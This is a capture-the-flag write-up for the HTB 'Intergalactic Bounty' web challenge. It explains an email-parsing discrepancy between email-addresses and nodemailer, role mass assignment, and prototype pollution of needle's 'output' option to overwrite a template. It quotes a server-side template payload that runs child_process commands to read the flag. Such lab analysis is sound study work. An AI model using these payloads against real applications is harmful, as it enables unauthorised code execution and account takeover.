# Web - Intergalactic Bounty
:::info
Hard challenge from HTB University
Knowledge: Email disparency, Prototype pollution, Needle
:::
# Overview

- Firstly, we have an login page where we must register with an account and our given email is test@email.htb
- 
Here is the logic for register. It seems just accept the domain interstellar.htb.
```nodejs=
const registerAPI = async (req, res) => {
const { email, password, role = "guest" } = req.body;
const emailDomain = emailAddresses.parseOneAddress(email)?.domain;
if (!emailDomain || emailDomain !== 'interstellar.htb') {
return res.status(200).json({ message: 'Registration is not allowed for this email domain' });
}
try {
await User.createUser(email, password, role);
return res.json({ message: "User registered. Verification email sent.", status: 201 });
} catch (err) {
return res.status(500).json({ message: err.message, status: 500 });
}
};
```
- Specially it uses email-address library to parse the email .
```nodejs=
const emailAddresses = require('email-addresses');
```
- We can read this from the manual page of email-address
- 
- It supports the RFC 5322 and gives us an interesting email format:
"BOB example"\<bop@example.com> ? This looks really weird at first sight. With the text in "" is a name of domain.
Read more , we will see that the server again use other library to send email which is NodeMailer
```nodejs=
const transporter = nodemailer.createTransport({
host: "127.0.0.1",
port: 1025,
secure: false,
});
const sendVerificationEmail = async (email, code) => {
const mailOptions = {
from: "no-reply@interstellar.htb",
to: email,
subject: "Email Verification",
html: `Your verification code is: ${code}`,
};
try {
await transporter.sendMail(mailOptions);
console.log(`Verification email sent to ${email}`);
} catch (error) {
console.error("Error sending email:", error);
throw new Error("Unable to send verification email");
}
};
```
- Then i try this payload and it works.((I will explain later))
```nodejs=
email :' "test@email.htb" @interstellar.htb'
```
But this wont work ( JUST A SPACE )
```nodejs=
email :' "test@email.htb"@interstellar.htb'
```
This abuse the differences in ways of 2 library parses out our address !!! This will trickyly send to our email kkk !!!
- Moreover, in logic requests it seems something vulnerable when setting the default value without actually block it ! We can get admin privilege from this !
```nodejs=
const { email, password, role = "guest" } = req.body;
```
Now we try this :
Register with role admin :

Login with opt code received from email page:

# Now we are admins !!!
- Let find out what we can do now . We have just some thing interesting !
```nodejs=j
const transmitAPI = async (req, res) => {
const { url } = req.body;
if (!url) {
return res.status(400).json({ message: "URL is required" });
}
const responseBody = await fetchURL(url);
res.status(200).json({
message: "Request successful",
responseBody,
});
};
const editBountiesAPI = async (req, res) => {
const { ...bountyData } = req.body;
try {
const data = await BountyModel.findByPk(req.params.id, {
attributes: [
"target_name",
"target_aliases",
"target_species",
"last_known_location",
"galaxy",
"star_system",
"planet",
"coordinates",
"reward_credits",
"reward_items",
"issuer_name",
"issuer_faction",
"risk_level",
"required_equipment",
"posted_at",
"status",
"image",
"description",
"crimes",
"id",
],
});
if (!data) {
return res.status(404).json({ message: "Bounty not found" });
}
const updated = mergedeep(data.toJSON(), bountyData);
await data.update(updated);
return res.json(updated);
} catch (err) {
console.log(err);
return res.status(500).json({ message: "Error fetching data" });
}
};
```
We will have 2 main controllers :
+ Transmit API will make a requests to our given url with ***needle*** library ? It looks really weird and maybe some hints of this ctf.
+ EditBountyApis will merge our data with an object ?? Damn, its really clear that here is an Prototype Pollution attack and we need to find some gadgets and maybe it will be exist in the **needle**.
```nodejs=
const fetchURL = async (url) => {
if (!url.startsWith("http://") && !url.startsWith("https://")) {
throw new Error("Invalid URL: URL must start with http or https");
}
const options = {
compressed: true,
follow_max: 0,
};
return new Promise((resolve, reject) => {
needle.get(url, options, (err, resp, body) => {
if (err) {
return reject(new Error("Error fetching the URL: " + err.message));
}
resolve(body);
});
});
};
```
The needle will call get with url , options ,and a callbacks. After reading the needle library, it seems interesting here.

We can use the attribute output to write a any file !!!! So combine this with the prototype pollution we can achive this easily with :
```index
"__proto__":{
"output":"/app/views/index.html"
}
// Write into template files to receive easily
```
Lets polluted the options :

Now whatever we receive from the calling transmit API will be stored in /app/views/index.html which we can see it !!!Just host a simple page with the payload :
```index
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /flag.txt')")()}}
```
Finally, send this through our url .

We overwrite this !!! Now lets check the index.html

Ehh ?? It looks unupdated :vv

But in docker it get changed !!
Maybe we need to triger and update in our app
In the config :
```superiv=
[program:node]
directory=/app
command=node index.js
autostart=true
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
```
Our app is allowed to restart, so we need to trigger this. We need to make a crash or execption.
```nodejs=
const transmitAPI = async (req, res) => {
const { url } = req.body;
if (!url) {
return res.status(400).json({ message: "URL is required" });
}
const responseBody = await fetchURL(url);
res.status(200).json({
message: "Request successful",
responseBody,
});
};
```
We can abuse this because it doesnt catch any exception. Just send random URL
ANd get the FLAGGGGGGG

- Thats the end of challenge :v
# Research about NodeMailer behaviours
- Now I will explain why our email works.
```
email = "test@email.htb" @interstellar.htb
```
- I read the source code of nodemailer to figure out this. You could try too at [here](https://github.com/nodemailer/nodemailer).
- I wont refer to the way of express-addresses work because it just follow the RFC 5322 and our email will be parsed with domain "@interstellar.htb" as expected. So I just focus on the nodemailer
## Main steps
- First the command will tokenize our address with following code:
```javascript=
class Tokenizer {
constructor(str) {
this.str = (str || '').toString();
this.operatorCurrent = '';
this.operatorExpecting = '';
this.node = null;
this.escaped = false;
this.list = [];
/**
* Operator tokens and which tokens are expected to end the sequence
*/
this.operators = {
'"': '"',
'(': ')',
'<': '>',
',': '',
':': ';',
// Semicolons are not a legal delimiter per the RFC2822 grammar other
// than for terminating a group, but they are also not valid for any
// other use in this context. Given that some mail clients have
// historically allowed the semicolon as a delimiter equivalent to the
// comma in their UI, it makes sense to treat them the same as a comma
// when used outside of a group.
';': ''
};
}
/**
* Tokenizes the original input string
*
* @return {Array} An array of operator|text tokens
*/
tokenize() {
let list = [];
for (let i = 0, len = this.str.length; i < len; i++) {
let chr = this.str.charAt(i);
let nextChr = i < len - 1 ? this.str.charAt(i + 1) : null;
this.checkChar(chr, nextChr);
}
this.list.forEach(node => {
node.value = (node.value || '').toString().trim();
if (node.value) {
list.push(node);
}
});
return list;
}
/**
* Checks if a character is an operator or text and acts accordingly
*
* @param {String} chr Character from the address field
*/
checkChar(chr, nextChr) {
if (this.escaped) {
// ignore next condition blocks
} else if (chr === this.operatorExpecting) {
this.node = {
type: 'operator',
value: chr
};
if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) {
this.node.noBreak = true;
}
this.list.push(this.node);
this.node = null;
this.operatorExpecting = '';
this.escaped = false;
return;
} else if (!this.operatorExpecting && chr in this.operators) {
this.node = {
type: 'operator',
value: chr
};
this.list.push(this.node);
this.node = null;
this.operatorExpecting = this.operators[chr];
this.escaped = false;
return;
} else if (['"', "'"].includes(this.operatorExpecting) && chr === '\\') {
this.escaped = true;
return;
}
if (!this.node) {
this.node = {
type: 'text',
value: ''
};
this.list.push(this.node);
}
if (chr === '\n') {
// Convert newlines to spaces. Carriage return is ignored as \r and \n usually
// go together anyway and there already is a WS for \n. Lone \r means something is fishy.
chr = ' ';
}
if (chr.charCodeAt(0) >= 0x21 || [' ', '\t'].includes(chr)) {
// skip command bytes
this.node.value += chr;
}
this.escaped = false;
}
}
```
- It splits our data into an token array :

It will split the " as a operator and our text is just text :v. Then put this token through _handleAddress function.
The logic is really simple and comment makes it readable.
```javascript:
function _handleAddress(tokens) {
let isGroup = false;
let state = 'text';
let address;
let addresses = [];
let data = {
address: [],
comment: [],
group: [],
text: []
};
let i;
let len;
// Filter out <addresses>, (comments) and regular text
for (i = 0, len = tokens.length; i < len; i++) {
let token = tokens[i];
let prevToken = i ? tokens[i - 1] : null;
if (token.type === 'operator') {
switch (token.value) {
case '<':
state = 'address';
break;
case '(':
state = 'comment';
break;
case ':':
state = 'group';
isGroup = true;
break;
default:
state = 'text';
break;
}
} else if (token.value) {
if (state === 'address') {
// handle use case where unquoted name includes a "<"
// Apple Mail truncates everything between an unexpected < and an address
// and so will we
token.value = token.value.replace(/^[^<]*<\s*/, '');
}
if (prevToken && prevToken.noBreak && data[state].length) {
// join values
data[state][data[state].length - 1] += token.value;
} else {
data[state].push(token.value);
}
}
}
// If there is no text but a comment, replace the two
if (!data.text.length && data.comment.length) {
data.text = data.comment;
data.comment = [];
}
if (isGroup) {
// http://tools.ietf.org/html/rfc2822#appendix-A.1.3
data.text = data.text.join(' ');
addresses.push({
name: data.text || (address && address.name),
group: data.group.length ? addressparser(data.group.join(',')) : []
});
} else {
// If no address was found, try to detect one from regular text
if (!data.address.length && data.text.length) {
for (i = data.text.length - 1; i >= 0; i--) {
if (data.text[i].match(/^[^@\s]+@[^@\s]+$/)) {
data.address = data.text.splice(i, 1);
break;
}
}
let _regexHandler = function (address) {
if (!data.address.length) {
data.address = [address.trim()];
return ' ';
} else {
return address;
}
};
// still no address
if (!data.address.length) {
for (i = data.text.length - 1; i >= 0; i--) {
// fixed the regex to parse email address correctly when email address has more than one @
data.text[i] = data.text[i].replace(/\s*\b[^@\s]+@[^\s]+\b\s*/, _regexHandler).trim();
if (data.address.length) {
break;
}
}
}
}
// If there's still is no text but a comment exixts, replace the two
if (!data.text.length && data.comment.length) {
data.text = data.comment;
data.comment = [];
}
// Keep only the first address occurence, push others to regular text
if (data.address.length > 1) {
data.text = data.text.concat(data.address.splice(1));
}
// Join values with spaces
data.text = data.text.join(' ');
data.address = data.address.join(' ');
if (!data.address && isGroup) {
return [];
} else {
address = {
address: data.address || data.text || '',
name: data.text || data.address || ''
};
if (address.address === address.name) {
if ((address.address || '').match(/@/)) {
address.name = '';
} else {
address.address = '';
}
}
addresses.push(address);
}
}
return addresses;
}
```
- I will explain this :
STEP 1: It create a data object to store all infomations we have.
```
let data = {
address: [],
comment: [],
group: [],
text: []
};
```
Step2 : Read the token and read the type of it to set the stage and decide where the following data pushed into the data list.
```javascript=
for (i = 0, len = tokens.length; i < len; i++) {
let token = tokens[i];
let prevToken = i ? tokens[i - 1] : null;
if (token.type === 'operator') {
switch (token.value) {
case '<':
state = 'address';
break;
case '(':
state = 'comment';
break;
case ':':
state = 'group';
isGroup = true;
break;
default:
state = 'text';
break;
}
```
You can see it just check the "<" at first to decide which one is address so our data wont be caught here!.
Then is some uninteresting features. Until this :
```javascript
// If no address was found, try to detect one from regular text
// This will run because we dont use < > format
if (!data.address.length && data.text.length) {
for (i = data.text.length - 1; i >= 0; i--) {
if (data.text[i].match(/^[^@\s]+@[^@\s]+$/)) {
data.address = data.text.splice(i, 1);
break;
}
}
let _regexHandler = function (address) {
if (!data.address.length) {
data.address = [address.trim()];
return ' ';
} else {
return address;
}
};
// still no address
// Here we step into this
if (!data.address.length) {
for (i = data.text.length - 1; i >= 0; i--) {
// fixed the regex to parse email address correctly when email address has more than one @
data.text[i] = data.text[i].replace(/\s*\b[^@\s]+@[^\s]+\b\s*/, _regexHandler).trim();
if (data.address.length) {
break;
}
}
}
```
- Author comments make me know what to do here. If there isn't the address parsed, It will use regrex to find our email.
- First regrex is :
```javascript=
for (i = data.text.length - 1; i >= 0; i--) {
if (data.text[i].match(/^[^@\s]+@[^@\s]+$/)) {
data.address = data.text.splice(i, 1);
break;
}
}
```
- Then test it : 
- You can see that it just read the first pattern match email. This is the reason why our payload works !!!!
- The last try will check the final regrex is :
```javascript=
data.text[i] = data.text[i].replace(/\s*\b[^@\s]+@[^\s]+\b\s*/, _regexHandler).trim();
```
It will find the pattern and call the callback which will push that pattern into the address !!!!
# LET'S ANSWER THE QUESTIONS
The difference between ?
```nodejs=
email :' "test@email.htb" @interstellar.htb'
```
But this wont work ( JUST A SPACE )
```nodejs=
email :' "test@email.htb"@interstellar.htb'
```
When tokenized it will be something different :


You see it right ? The noBreak makes the second one cannot work. It will be set by this logic :
```nodejs=
if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) {
this.node.noBreak = true;
}
```
- When noBreak is enabled, it wont push our text token into array, but it will ***JOIN*** with the previous value.
```nodejs=
if (prevToken && prevToken.noBreak && data[state].length) {
// join values
data[state][data[state].length - 1] += token.value;
} else {
data[state].push(token.value);
}
```
And leads to the wrong email detected !!

# Conclusion
- I learned alot from this challenge, and read this makes me can understand more how the payloads created. :vvv